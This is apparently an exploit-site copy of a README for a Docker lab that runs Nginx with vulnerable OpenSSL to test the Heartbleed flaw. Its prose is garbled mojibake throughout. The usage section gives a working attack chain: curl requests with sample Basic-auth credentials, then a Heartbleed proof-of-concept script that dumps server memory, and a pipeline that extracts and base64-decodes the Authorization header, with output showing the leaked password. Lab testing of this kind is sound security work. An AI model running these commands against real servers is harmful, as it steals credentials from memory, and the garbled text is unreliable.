## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-FROYO75-HEARTBLEED_DOCKERFILE_WITH_NGINX
## Nginx Dockerfile рдХреЗ рд╕рд╛рде Heartbleed рдХрд╛ рдкрд░реАрдХреНрд╖рдг
рдЗрд╕ рд░рд┐рдкреЙрдЬрд┐рдЯрд░реА рдореЗрдВ **CVE-2014-0160 Heartbleed** рднреЗрджреНрдпрддрд╛ рдХреЗ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП рдЕрд╕реБрд░рдХреНрд╖рд┐рдд **OpenSSL рд╕рдВрд╕реНрдХрд░рдг (1.0.1f)** рдХреЗ рд╕рд╛рде **Nginx** рдХрд╛ **Dockerfile** рд╢рд╛рдорд┐рд▓ рд╣реИред
### рдЖрдзрд╛рд░ Docker рдЗрдореЗрдЬ
* debian:latest
### рд╕реНрдерд╛рдкрдирд╛
1. Docker рд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ
* рдбреЗрдмрд┐рдпрди рдХреЗ рд╕рд╛рде рдЙрджрд╛рд╣рд░рдг: `apt-get install -y docker`
2. рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ Docker Hub Registry рд╕реЗ рдбреЗрдмрд┐рдпрди рдмреЗрд╕ рдЗрдореЗрдЬ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ: `docker pull debian:latest`
3. Dockerfile рд╕реЗ рдЗрдореЗрдЬ рдмрдирд╛рдПрдВ: `docker build -t heartbleed_nginx_img .`
### рдЙрдкрдпреЛрдЧ
##### Heartbleed+Nginx рдХрдВрдЯреЗрдирд░ рдкреНрд░рд╛рд░рдВрдн рдХрд░реЗрдВ
`docker run -i -t -p 1500:443 heartbleed_nginx_img`
##### HTTP рдмреЗрд╕рд┐рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдзрд┐ рдХреЗ рд╕рд╛рде Heartbleed рднреЗрджреНрдпрддрд╛ (CVE-2014-0160) рдХрд╛ рдкрд░реАрдХреНрд╖рдг
1. Heartbleed-poc Python рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ (рдХреЗрд╡рд▓ рдкрд░реАрдХреНрд╖рдг рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП!)ред рдпрд╣ рдореВрд▓рддрдГ Jared Stafford some-email@example.com рджреНрд╡рд╛рд░рд╛ рд▓рд┐рдЦрд┐рдд рдПрдХ рд╕рдВрд╢реЛрдзрд┐рдд рд╕рдВрд╕реНрдХрд░рдг рд╣реИред **SensePost рдХреЛ рдЗрд╕рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рджред**
2. рдЕрдкрдиреЗ рд╡рд░реНрддрдорд╛рди рдЯрд░реНрдорд┐рдирд▓ рдкрд░ рджреЛ рдирдП рдЯреИрдм рдЦреЛрд▓реЗрдВ рдФрд░ рдЪрд▓рд╛рдПрдБ:
* рдкрд╣рд▓рд╛ рдЯреИрдм (curl рдХрдорд╛рдВрдб рдХреЗ рд╕рд╛рде **HTTP рдмреЗрд╕рд┐рдХ Auth** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **x100 GET рдЕрдиреБрд░реЛрдз** рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛):
`for loop in {0..100..1}; do curl -X GET -s -i -k -u admin:myP@ssword0MG https://127.0.0.1:1500| grep -E "200"; done`
> HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK snipp...
* рджреВрд╕рд░рд╛ рдЯреИрдм (**x100 Heartbeats(-n 100) рдЕрдиреБрд░реЛрдз** рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рдФрд░ рдореЗрдореЛрд░реА рдбрдВрдк рдХреЛ **"dump.bin"** рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд▓рд┐рдЦрдирд╛, рдлрд┐рд░ рдореЗрдореЛрд░реА рдбрдВрдк рд╕реЗ **"Authorization"** рдлрд╝реАрд▓реНрдб рд╕реЗ рдкрд░рд┐рдгрд╛рдо рд▓реЗрдирд╛ рдФрд░ рдЕрдВрдд рдореЗрдВ **Base64** рдкрд░рд┐рдгрд╛рдо рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдбрд┐рдХреЛрдб рдХрд░рдирд╛ **^^**):
`python heartbleed-poc.py -f dump.bin -q -n 100 -p 1500 127.0.0.1 && grep -a "^Authorization:" dump.bin | head -n1 | awk -F " " '{print $3}' | tr -d '\n\r' | base64 --decode && echo`
> WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 925 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 ... received message: type = 24, ver = 0302, length = 16384 WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! snipp... admin:myP@ssword0MG